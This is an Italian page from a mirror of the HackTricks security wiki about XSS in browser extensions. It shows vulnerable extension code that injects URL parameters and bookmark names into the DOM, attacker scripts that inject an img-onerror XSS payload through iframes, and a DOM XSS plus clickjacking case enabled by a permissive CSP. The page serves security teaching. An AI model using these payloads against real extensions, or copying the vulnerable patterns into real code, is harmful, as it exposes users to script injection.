mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
105 lines
5.3 KiB
Markdown
105 lines
5.3 KiB
Markdown
# BrowExt - Esempio di XSS
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Cross-Site Scripting (XSS) tramite Iframe
|
||
|
||
In questa configurazione, viene implementato un **content script** per istanziare un Iframe, incorporando un URL con parametri di query come sorgente dell'Iframe:
|
||
```javascript
|
||
chrome.storage.local.get("message", (result) => {
|
||
let constructedURL =
|
||
chrome.runtime.getURL("message.html") +
|
||
"?content=" +
|
||
encodeURIComponent(result.message) +
|
||
"&redirect=https://example.net/details"
|
||
frame.src = constructedURL
|
||
})
|
||
```
|
||
Una pagina HTML accessibile pubblicamente, **`message.html`**, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri nell'URL:
|
||
```javascript
|
||
$(document).ready(() => {
|
||
let urlParams = new URLSearchParams(window.location.search)
|
||
let userContent = urlParams.get("content")
|
||
$(document.body).html(
|
||
`${userContent} <button id='detailBtn'>Details</button>`
|
||
)
|
||
$("#detailBtn").on("click", () => {
|
||
let destinationURL = urlParams.get("redirect")
|
||
chrome.tabs.create({ url: destinationURL })
|
||
})
|
||
})
|
||
```
|
||
Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **payload XSS**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso:
|
||
```javascript
|
||
setTimeout(() => {
|
||
let targetFrame = document.querySelector("iframe").src
|
||
let baseURL = targetFrame.split("?")[0]
|
||
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
|
||
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
|
||
|
||
document.querySelector("iframe").src = maliciousURL
|
||
}, 1000)
|
||
```
|
||
Una Content Security Policy eccessivamente permissiva come:
|
||
```json
|
||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||
```
|
||
consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS.
|
||
|
||
Un approccio alternativo per provocare l'XSS prevede la creazione di un elemento Iframe e l'impostazione della sua sorgente per includere lo script dannoso come parametro `content`:
|
||
```javascript
|
||
let newFrame = document.createElement("iframe")
|
||
newFrame.src =
|
||
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
||
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
|
||
document.body.append(newFrame)
|
||
```
|
||
## DOM-based XSS + ClickJacking
|
||
|
||
Questo esempio è stato preso dal [post originale](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
||
|
||
Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata su DOM situata in **`/html/bookmarks.html`**. Il JavaScript problematico, parte di **`bookmarks.js`**, è dettagliato di seguito:
|
||
```javascript
|
||
$("#btAdd").on("click", function () {
|
||
var bookmarkName = $("#txtName").val()
|
||
if (
|
||
$(".custom-button .label").filter(function () {
|
||
return $(this).text() === bookmarkName
|
||
}).length
|
||
)
|
||
return false
|
||
|
||
var bookmarkItem = $('<div class="custom-button">')
|
||
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
|
||
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
|
||
bookmarkItem.attr("data-title", bookmarkName)
|
||
bookmarkItem.data("timestamp", new Date().getTime())
|
||
$("section.bookmark-container .existing-items").append(bookmarkItem)
|
||
persistData()
|
||
})
|
||
```
|
||
Questo frammento recupera il **valore** dal campo di input **`txtName`** e utilizza **la concatenazione di stringhe per generare HTML**, che viene poi aggiunto al DOM utilizzando la funzione `.append()` di jQuery.
|
||
|
||
Tipicamente, la Content Security Policy (CSP) dell'estensione Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa della **relaxation della CSP con ‘unsafe-eval’** e dell'uso dei metodi di manipolazione del DOM di jQuery (che impiegano [`globalEval()`](https://api.jquery.com/jquery.globaleval/) per passare script a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al momento dell'inserimento nel DOM), lo sfruttamento è ancora possibile.
|
||
|
||
Sebbene questa vulnerabilità sia significativa, il suo sfruttamento è solitamente condizionato all'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante “Aggiungi”.
|
||
|
||
Per migliorare questa vulnerabilità, viene sfruttata una seconda vulnerabilità di **clickjacking**. Il manifesto dell'estensione Chrome mostra una politica `web_accessible_resources` estesa:
|
||
```json
|
||
"web_accessible_resources": [
|
||
"html/bookmarks.html",
|
||
"dist/*",
|
||
"assets/*",
|
||
"font/*",
|
||
[...]
|
||
],
|
||
```
|
||
In particolare, la pagina **`/html/bookmarks.html`** è soggetta a framing, quindi vulnerabile a **clickjacking**. Questa vulnerabilità viene sfruttata per incapsulare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante.
|
||
|
||
## Riferimenti
|
||
|
||
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|